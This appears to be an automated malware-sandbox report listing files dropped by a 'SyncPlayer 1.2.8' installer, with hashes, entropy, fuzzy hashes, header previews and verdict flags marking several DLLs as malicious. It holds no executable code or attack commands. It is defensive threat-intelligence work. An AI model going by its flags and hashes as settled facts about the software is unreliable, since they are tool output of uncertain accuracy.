MD5:	CE3AB3BD3FF80FCE88DCB0EA3D48A0C9
SHA1:	C6BA2C252C6D102911015D0211F6CAB48095931C
SHA-256:	F7205C5C0A629D0CC60E30E288E339F08616BE67B55757D4A403A2B54E23922B
SHA-512:	211E247EA82458FD68BCC91A6731E9E3630A9D5901F4BE4AF6099AD15A90CAF2826E14846951FDD7D3B199994FD3AC97CA9E325CF0DFEB9474AEA9B0D6339DD3
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.. Copyright (c) Microsoft Corporation. All rights reserved. -->..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <noInheritable/>.. <assemblyIdentity.. type="win32".. name="Microsoft.VC90.MFC".. version="9.0.21022.8".. processorArchitecture="x86".. publicKeyToken="1fc8b3b9a1e18e3b".. />.. <file name="mfc90.dll" /> <file name="mfc90u.dll" /> <file name="mfcm90.dll" /> <file name="mfcm90u.dll" />..</assembly>..

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-5FDD3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	59904
Entropy (8bit):	6.048382351359956
Encrypted:	false
SSDEEP:	768:Q2q4fSp3W9sHSIeXNKIv3dJcZqXIq9BVO5nOC6u58rrYlyQRvVFtTiO1lqNkdZ:9TqpwsH1eTJWZv6FrrsNFtmO1oNk
MD5:	371226B8346F29011137C7AA9E93F2F6
SHA1:	485DE5A0CA0564C12EACC38D1B39F5EF5670A2E2
SHA-256:	5B08FE55E4BBF2FBFD405E2477E023137CFCEB4D115650A5668269C03300A8F8
SHA-512:	119A5E16E3A3F2FF0B5ACB6B5D5777997102A3CAE00D48C0F8921DF5818F5FBDA036974E23C6F77A6B9380C6A1065372E70F8D4E665DFD37E5F90EB27DB7420C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(<.hFo.hFo.hFo..+o.hFo..=o.hFo.:.o.hFo9'.o.hFo.:.o.hFo.:.o.hFo..=o.hFo.hGo.hFo.:.o.hFo.:.o.hFo.:.o.hFo.:.o.hFoRich.hFo................PE..L...Y`1G...........!.....:..........rG.......P.....x.........................0......Ko....@.................................\|................................ .......R...............................T..@............P..,............R..H............text....8.......:.................. ..`.rdata.......P.......>..............@..@.data...P...........................@....rsrc...............................@..@.reloc..n.... ......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-C25HO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1156600
Entropy (8bit):	6.52546095742681
Encrypted:	false
SSDEEP:	24576:HMh/PZa3TrShmbjRbf/zxUK4BpifCqY5TcB2sQL+XmDOl:HMh/PZa3HTjtFUKwhqY5TcyL+XmE
MD5:	462DDCC5EB88F34AED991416F8E354B2
SHA1:	6F4DBB36A8E7E594E12A2A9ED4B71AF0FAA762C1
SHA-256:	287BD98054C5D2C4126298EE50A2633EDC745BC76A1CE04E980F3ECC577CE943
SHA-512:	35D21E545CE6436F5E70851E0665193BB1C696F61161145C92025A090D09E08F28272CBF1E271FF62FF31862544025290E22B15A7ACDE1AEA655560300EFE1EC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C.R."..."..."......"......."......"...p^.."..\m[.."...pX.."...pN.."...pI.."......"..."...!...pG.>"...p_.."...pY.."...p\.."..Rich."..................PE..L....`1G...........!.....T...N......C+.......p....^x................................g.....@..............................f......x.......x................#.......... ..................................@...............@...........................text....R.......T.................. ..`.data....j...p...H...X..............@....rsrc...x...........................@..@.reloc...1.......2...P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-GTFJR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	548
Entropy (8bit):	5.016046602668665
Encrypted:	false
SSDEEP:	12:TMHdtXBFN8u3/3XO5WSN4dKF+nVI4gVW/wnbEJRxJ0xoxF2G:2dtXD+u/eVN40+nVI4gAwnAt
MD5:	CE3AB3BD3FF80FCE88DCB0EA3D48A0C9
SHA1:	C6BA2C252C6D102911015D0211F6CAB48095931C
SHA-256:	F7205C5C0A629D0CC60E30E288E339F08616BE67B55757D4A403A2B54E23922B
SHA-512:	211E247EA82458FD68BCC91A6731E9E3630A9D5901F4BE4AF6099AD15A90CAF2826E14846951FDD7D3B199994FD3AC97CA9E325CF0DFEB9474AEA9B0D6339DD3
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.. Copyright (c) Microsoft Corporation. All rights reserved. -->..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <noInheritable/>.. <assemblyIdentity.. type="win32".. name="Microsoft.VC90.MFC".. version="9.0.21022.8".. processorArchitecture="x86".. publicKeyToken="1fc8b3b9a1e18e3b".. />.. <file name="mfc90.dll" /> <file name="mfc90u.dll" /> <file name="mfcm90.dll" /> <file name="mfcm90u.dll" />..</assembly>..

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-M4GIC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1162744
Entropy (8bit):	6.531289155070338
Encrypted:	false
SSDEEP:	24576:ACmuzoNEIkc0FV/IvA+hJpHgbe18MVc/AKDbZOUWJGLaDenEKH:AC9zoNEIkbFV/IvA+hJyq1FVc/FDbZOQ
MD5:	B9030D821E099C79DE1C9125B790E2DA
SHA1:	79189E6F7887CA8F41FB17603BD9C2D46180EFCF
SHA-256:	E30AABB518361FBEAF8068FFC786845EE84ABBF1F71AE7D2733A11286531595A
SHA-512:	2E1EBCBE595C5A1FE09F5933D4BA190081EF343EA313725BB0F8FCBF98079A091AB8C0465EF437B310A1753FFC2D48D9D70EC80D773E7919A6485EF730E93EA1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...........Y...Y...Y...~H.X......X...~H..I...G.>.[.....;.X...G.8.R...G...F...G.).P...~H.P...Y...;...G.'.....G.?.X...G.9.X...G.<.X...RichY...........................PE..L...*`1G...........!.....j...P......a@.............x.................................x....@.........................P....g......x........................#......h.......................................@...............<............................text...kh.......j.................. ..`.data....l.......J...n..............@....rsrc...............................@..@.reloc...1.......2...h..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\is-R8N4P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	59904
Entropy (8bit):	6.049630833293433
Encrypted:	false
SSDEEP:	768:kXS5hxqhOz9XNpOb/AXVuips6Pm550971BVO5nkcwo5ArrwlyQ6mrCHrO1MquTSU:kC/IMZHO0lu+s60VwvrrDmrCrO1HuTR
MD5:	D4E7C1546CF3131B7D84B39F8DA9E321
SHA1:	6B096858723C76848B85D63B4DA334299BECED5B
SHA-256:	C4243BA85C2D130B4DEC972CD291916E973D9D60FAC5CEEA63A01837ECC481C2
SHA-512:	4383E2BC34B078819777DA73F1BD4A88B367132E653A7226ED73F43E4387ED32E8C2BCAFD8679EF5E415F0B63422DB05165A9E794F055AA8024FE3E7CABC66B9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(<.hFo.hFo.hFo..+o.hFo..=o.hFo.:.o.hFo9'.o.hFo.:.o.hFo.:.o.hFo..=o.hFo.hGo.hFo.:.o.hFo.:.o.hFo.:.o.hFo.:.o.hFoRich.hFo................PE..L...X`1G...........!.....:..........rG.......P.....x.........................0............@.................................L................................ .......R...............................S..@............P..,............R..H............text....8.......:.................. ..`.rdata..^....P.......>..............@..@.data...............................@....rsrc...............................@..@.reloc..n.... ......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\mfc90.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1156600
Entropy (8bit):	6.52546095742681
Encrypted:	false
SSDEEP:	24576:HMh/PZa3TrShmbjRbf/zxUK4BpifCqY5TcB2sQL+XmDOl:HMh/PZa3HTjtFUKwhqY5TcyL+XmE
MD5:	462DDCC5EB88F34AED991416F8E354B2
SHA1:	6F4DBB36A8E7E594E12A2A9ED4B71AF0FAA762C1
SHA-256:	287BD98054C5D2C4126298EE50A2633EDC745BC76A1CE04E980F3ECC577CE943
SHA-512:	35D21E545CE6436F5E70851E0665193BB1C696F61161145C92025A090D09E08F28272CBF1E271FF62FF31862544025290E22B15A7ACDE1AEA655560300EFE1EC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C.R."..."..."......"......."......"...p^.."..\m[.."...pX.."...pN.."...pI.."......"..."...!...pG.>"...p_.."...pY.."...p\.."..Rich."..................PE..L....`1G...........!.....T...N......C+.......p....^x................................g.....@..............................f......x.......x................#.......... ..................................@...............@...........................text....R.......T.................. ..`.data....j...p...H...X..............@....rsrc...x...........................@..@.reloc...1.......2...P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\mfc90u.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1162744
Entropy (8bit):	6.531289155070338
Encrypted:	false
SSDEEP:	24576:ACmuzoNEIkc0FV/IvA+hJpHgbe18MVc/AKDbZOUWJGLaDenEKH:AC9zoNEIkbFV/IvA+hJyq1FVc/FDbZOQ
MD5:	B9030D821E099C79DE1C9125B790E2DA
SHA1:	79189E6F7887CA8F41FB17603BD9C2D46180EFCF
SHA-256:	E30AABB518361FBEAF8068FFC786845EE84ABBF1F71AE7D2733A11286531595A
SHA-512:	2E1EBCBE595C5A1FE09F5933D4BA190081EF343EA313725BB0F8FCBF98079A091AB8C0465EF437B310A1753FFC2D48D9D70EC80D773E7919A6485EF730E93EA1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...........Y...Y...Y...~H.X......X...~H..I...G.>.[.....;.X...G.8.R...G...F...G.).P...~H.P...Y...;...G.'.....G.?.X...G.9.X...G.<.X...RichY...........................PE..L...*`1G...........!.....j...P......a@.............x.................................x....@.........................P....g......x........................#......h.......................................@...............<............................text...kh.......j.................. ..`.data....l.......J...n..............@....rsrc...............................@..@.reloc...1.......2...h..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\mfcm90.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	59904
Entropy (8bit):	6.049630833293433
Encrypted:	false
SSDEEP:	768:kXS5hxqhOz9XNpOb/AXVuips6Pm550971BVO5nkcwo5ArrwlyQ6mrCHrO1MquTSU:kC/IMZHO0lu+s60VwvrrDmrCrO1HuTR
MD5:	D4E7C1546CF3131B7D84B39F8DA9E321
SHA1:	6B096858723C76848B85D63B4DA334299BECED5B
SHA-256:	C4243BA85C2D130B4DEC972CD291916E973D9D60FAC5CEEA63A01837ECC481C2
SHA-512:	4383E2BC34B078819777DA73F1BD4A88B367132E653A7226ED73F43E4387ED32E8C2BCAFD8679EF5E415F0B63422DB05165A9E794F055AA8024FE3E7CABC66B9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(<.hFo.hFo.hFo..+o.hFo..=o.hFo.:.o.hFo9'.o.hFo.:.o.hFo.:.o.hFo..=o.hFo.hGo.hFo.:.o.hFo.:.o.hFo.:.o.hFo.:.o.hFoRich.hFo................PE..L...X`1G...........!.....:..........rG.......P.....x.........................0............@.................................L................................ .......R...............................S..@............P..,............R..H............text....8.......:.................. ..`.rdata..^....P.......>..............@..@.data...............................@....rsrc...............................@..@.reloc..n.... ......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\mfcm90u.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	59904
Entropy (8bit):	6.048382351359956
Encrypted:	false
SSDEEP:	768:Q2q4fSp3W9sHSIeXNKIv3dJcZqXIq9BVO5nOC6u58rrYlyQRvVFtTiO1lqNkdZ:9TqpwsH1eTJWZv6FrrsNFtmO1oNk
MD5:	371226B8346F29011137C7AA9E93F2F6
SHA1:	485DE5A0CA0564C12EACC38D1B39F5EF5670A2E2
SHA-256:	5B08FE55E4BBF2FBFD405E2477E023137CFCEB4D115650A5668269C03300A8F8
SHA-512:	119A5E16E3A3F2FF0B5ACB6B5D5777997102A3CAE00D48C0F8921DF5818F5FBDA036974E23C6F77A6B9380C6A1065372E70F8D4E665DFD37E5F90EB27DB7420C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(<.hFo.hFo.hFo..+o.hFo..=o.hFo.:.o.hFo9'.o.hFo.:.o.hFo.:.o.hFo..=o.hFo.hGo.hFo.:.o.hFo.:.o.hFo.:.o.hFo.:.o.hFoRich.hFo................PE..L...Y`1G...........!.....:..........rG.......P.....x.........................0......Ko....@.................................\|................................ .......R...............................T..@............P..,............R..H............text....8.......:.................. ..`.rdata.......P.......>..............@..@.data...P...........................@....rsrc...............................@..@.reloc..n.... ......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.Windows.Common-Controls\comctl32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1054208
Entropy (8bit):	6.044183195357732
Encrypted:	false
SSDEEP:	12288:eQ/l0cg4oP3iFxiu7iojd3Gp6Yv4aiBjYUnApVccsafw32+pNmU8c6f8VPtXobJq:eQAl/iFiODBjYUApVQafw32+mQ6x
MD5:	2E641E9DF345D202726EB2DAF9D3F453
SHA1:	325740FE6A4F7A968F0839126ADB1706D11697F0
SHA-256:	B4C2DD5DA4BA9CC4AA79CDEF49C1C0E54E8E38C087A068970E59947269A9C070
SHA-512:	F2457243BD9D49E0C523727B6DC6DB3B1B8BF98BB866CB20C3B14207E72BEF0865D56798D06A818FB4F6BB63F884EE489354D53F01B8EB1FE62E8E30D9624DB5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......QV'..7I..7I..7I..8...7I..8F..7I..7H..5I..8...7I..8...7I..8)..7I..8.._7I..8...7I.Rich.7I.........................PE..L...l..H...........!................VB....... .....w.........................0.......M..............................P.......h........0...........................T..................................p>..@............................................text...J........................... ..`.data...P.... ......................@....rsrc........0......................@..@.reloc..(^.......`..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.Windows.Common-Controls\is-8817T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1054208
Entropy (8bit):	6.044183195357732
Encrypted:	false
SSDEEP:	12288:eQ/l0cg4oP3iFxiu7iojd3Gp6Yv4aiBjYUnApVccsafw32+pNmU8c6f8VPtXobJq:eQAl/iFiODBjYUApVQafw32+mQ6x
MD5:	2E641E9DF345D202726EB2DAF9D3F453
SHA1:	325740FE6A4F7A968F0839126ADB1706D11697F0
SHA-256:	B4C2DD5DA4BA9CC4AA79CDEF49C1C0E54E8E38C087A068970E59947269A9C070
SHA-512:	F2457243BD9D49E0C523727B6DC6DB3B1B8BF98BB866CB20C3B14207E72BEF0865D56798D06A818FB4F6BB63F884EE489354D53F01B8EB1FE62E8E30D9624DB5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......QV'..7I..7I..7I..8...7I..8F..7I..7H..5I..8...7I..8...7I..8)..7I..8.._7I..8...7I.Rich.7I.........................PE..L...l..H...........!................VB....... .....w.........................0.......M..............................P.......h........0...........................T..................................p>..@............................................text...J........................... ..`.data...P.... ......................@....rsrc........0......................@..@.reloc..(^.......`..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\NvenCoderKernel.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	170496
Entropy (8bit):	6.106350948348404
Encrypted:	false
SSDEEP:	3072:4o/xbk9GvULHHu4SnwRVzXH75xcvvvWzpN:Fxg9/uls7fcvvvwp
MD5:	E14075E1E6DE40EDFF919368DE072234
SHA1:	289BF827E2C2D070BD0D919CF04284B29F34BD1C
SHA-256:	2A596EDC9B4400CB1D494C0C6FD63253F74FFA2CB1CC7690A45205219AFBFF69
SHA-512:	6D00C632C671917DB6D433C38C4589544AB380CA84779D706662ACC37A9144F5F03C81A87F3394CA5136BF18FBBB8745251695CD76DE84D2C2B77A7F4001464F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........JU.$..$..$.u....$.....$....M.$......$..}_..$..%...$.....$.....$.....$.Rich.$.........................PE..L.....DZ...........!...............................................................>.....@.........................0"..........x......................................................................@............................................text...%........................... ..`.rdata...s.......t..................@..@.data...D{...0...`..................@....rsrc................r..............@..@.reloc..V$.......&...t..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\RecWin7.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	6.09448972504833
Encrypted:	false
SSDEEP:	384:/33MgxjUjNrZ/6CCj6TLdLn5xv2ZdV3bdAf6zAC2ACc4dFukNLOtuh1Sg2L:fMgxohrZ///vYdV3bGE74dcIOtg2L
MD5:	5828961B2978F3457740770F6F07AE2E
SHA1:	9D04736ABD68DDDB7BD4EA115E4B7FE2BAEF1B0A
SHA-256:	7612D408EF46256D2B4E85FFB6EFEACF0C2BE2C1E96EE90A3B6FAF525BE80C4E
SHA-512:	5510E9EC3678D2FA4BA3D0928BB674CF88C9464818DA51D06194DE4BA9C3A4E052A9BE4CC7EDB9E5B0E430364122117A069ABB1BBE216A4682274392650EC8DF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|.d./.d./.d./.+t/.d./..w/.d./..a/.d./..f/.d./..q/.d./.../.d./.../.d./.d./.d./..h/.d./..p/.d./..s/.d./Rich.d./................PE..L....._...........!.....N...>.......T.......`......................................z.....@.........................@...g....z......................................................................Xw..@............`...............................text...gM.......N.................. ..`.rdata...1...`...2...R..............@..@.data...0...........................@....rsrc...............................@..@.reloc..^...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ScreenHook.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	4.068445105760994
Encrypted:	false
SSDEEP:	384:Hyl3eok/STRXEPI4yHNpFrSHY537Fs0sHx3jyAo99jzunIPknttyJzzZ2noC:Sl3U6TRXOr0sHY53GFjs99jzenttEtJ
MD5:	6BA61053DC82AD14DFFEB110771266D1
SHA1:	D0B44272B9C7109E359ED5F64EF3537EBA092786
SHA-256:	5E6AFF4AE3987023B06ED3936C7608F758E3E826DB11A1DA5A5E8EDF0107E023
SHA-512:	CF590BBD0965C74C71F4713EF7972FF7E52CCB40411BDD0500E34EAFF6894A7C659C7E8033EB4E4BA056CA565595A73D300A62CDDCF6007F4471CB05D3E6240F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r..6..6..6....."............3..6..p.....5....7..Rich6..........PE..L....4BM...........!.....P...`......Y........`......................................................................@k...... f..<...............................D....................................................`...............................text....@.......P.................. ..`.rdata.......`.......`..............@..@.data...@1...p...0...p..............@....reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ServiceCtrl.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	707072
Entropy (8bit):	6.206491339823504
Encrypted:	false
SSDEEP:	12288:8jYr3vhpHQE6B+sU+SVZ+LFWf1C6NGZVmVRfqb4tr3xY:8jgpDV+YZ+LF9UVRfqY6
MD5:	C2D89C0BA1D3616B03191E4CE5FC96E3
SHA1:	CD485AEA151D99D8170E32608C1BBDA5B7B920B5
SHA-256:	AC26AEFC4BBAA15EFB2EFFE81B7BDDD796609256E87679339E5F8E2AE9A271CF
SHA-512:	AA5F6832021A20104C3E966F2C4C28538EBE0218DFF4CEAA80D4B70232CD5F6607A8A52CEEC35A1FC227DE35ABDF7A7E31E56263986B7F114D29F25FCDA00B81
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m...t...t...t.......t.......t...u...t..t..t..t....t..t...t..^..t..t....t..t..t..^..t..t..t.Rich..t.................PE..L....D.]...........!................-........................................0.......\|....@..........................w.......b................................... ..................................H;..@....................b..@....................text...k........................... ..`.rdata...x.......z..................@..@.data....Z....... ...n..............@....rsrc...............................@..@.reloc...p.......r...X..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\TextDlg.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257024
Entropy (8bit):	6.188312331763729
Encrypted:	false
SSDEEP:	6144:gjdRIa917/l0Aw2Qf2jmCJYBYjn6hKn3kcaZ:gj7/lpwZOjmCJYonWZ
MD5:	F258AC2BD27DA86FE911F2E7414D7CA8
SHA1:	8A1CC7D65A5192B9233E0EC46123A2F209E64B1E
SHA-256:	0C5AC6846D86A8FBCF1E4327195881D510E7C4C4D86F7E75E0C8762415F86DB9
SHA-512:	2F786F5328117E685AFBDEA193BA1E075F17CF5CFFBEFBC2D6D25393DE834890076063A9CB4BC37B0E56625BBE9C155317FF21031B68DA8CEABA40AF03203FAD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......@+.,.J...J...J..#....J..#....J...J..2H...2B..J...2T..J...2S.yJ....A..J....S..J...2]..J...2E..J....C..J...2F..J..Rich.J..................PE..L......Z...........!.........f.......f.......................................P......K2....@..........................;..l...8...........(/.......................)......................................@...............\|.......@....................text............................... ..`.rdata..\...........................@..@.data...x_...@...$...$..............@....rsrc...(/.......0...H..............@..@.reloc..Lr.......t...x..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\VE32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	5.130680079534511
Encrypted:	false
SSDEEP:	768:kEFohyrArHI0WRWeI2XhTGQQzA07nZqqx5P:kLhfrlFsTG3AQj5P
MD5:	F0A4E6B345A8AD91FF529DE0702B58F5
SHA1:	7DEE326B32285A485E339040DDABA3A66038F176
SHA-256:	B20A1A2827FB12D7E5D39DA84773AE6E4EE21899AF066A666312DDA2A24960F4
SHA-512:	6F6BEE64EB99A4F8A5FE438539F287F3B5AE2AB1189763C6EA057648628FFEB990E95F2F5CD2A0250395EA80F79D5CFE4E36913EF85392E7BA474D092C6D4460
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................c.....c.......c......c..........c.....c.....c.....c....Rich..................PE..L...XB.Q...........!.....p...p......j...........................................................................................d.......................................................................@...............0............................text...mh.......p.................. ..`.rdata........... ..................@..@.data...\...........................@...ve_share$...........................@....rsrc...............................@..@.reloc..F...........................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\VE64.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	5.646816199679047
Encrypted:	false
SSDEEP:	768:OMlp3fx2wk8DhoyLh38OHUHXgx0TYk5GfWfOo1LxF/cQ:OMlpvx20FNUHXgGTYytfVLxFb
MD5:	E399CDA9A9518D9C69153CCB6D511F8A
SHA1:	8F0FD4318E32A1D6A1C94AD9887C510E80AC9AA3
SHA-256:	C94E6C2175097758C67D8524CBE72206683641E58D7A9A73A8A36B4AF1D53D3B
SHA-512:	F0DC07C8ECEB2F27CE9D16304B3C2EF50F81CA6822271E659EDD0159E3A64FD4F5FA5D08A7082720B0199EF1C6E1B7E6512B11FB326A0B5A56815F870E75D465
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......E<.B.]...]...]..&....]..&....]..&...C]..w....]...]..X]..&....]..&....]..&....]..&....]..Rich.]..........PE..d....6.Q.........." .....r...b...............................................0..............................................................d...d............................ ..........................................................h............................text...~q.......r.................. ..`.rdata...(.......*...v..............@..@.data....!..........................@....pdata..............................@..@ve_share4...........................@....rsrc...............................@..@.reloc..\.... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Verify.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	686080
Entropy (8bit):	6.599346864475418
Encrypted:	false
SSDEEP:	12288:Ou/F+MoQxHSbb6lQIrvw7A87cNzqmYWmQ+uYI0qV+h2uCpmL:prxybb6l9zw79GzqjWmQdYLqYUTs
MD5:	1583338F5D055CD5B4EA5677B2CCFF6E
SHA1:	2335761BD200D0008CB041EB3D7D4860E9E421E9
SHA-256:	C1F8E9F30A5BF7CA4A0F2F1F60FFD97A0F49F65448BF5B6B4BBDBC8A263A321F
SHA-512:	8A44820050D955D1401EF7B912AC4B86FCF5839FC2A64C1AE4CC8AC1A3FE9BB1AA1FA6063DF863D3DC2A1D0804451F6FCAC4F188390D5A27A68891273BBED957
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................n............... ....@..............................................................................-.......f......................\|...................................................T................................text............................... ..`.itext.............................. ..`.data...@-... ......................@....bss.....D...P.......8...................idata...-...........8..............@....edata...............f..............@..@.reloc..\|............j..............@..B.rsrc....f.......f..................@..@.....................x..............@..@........................................................................................................................................

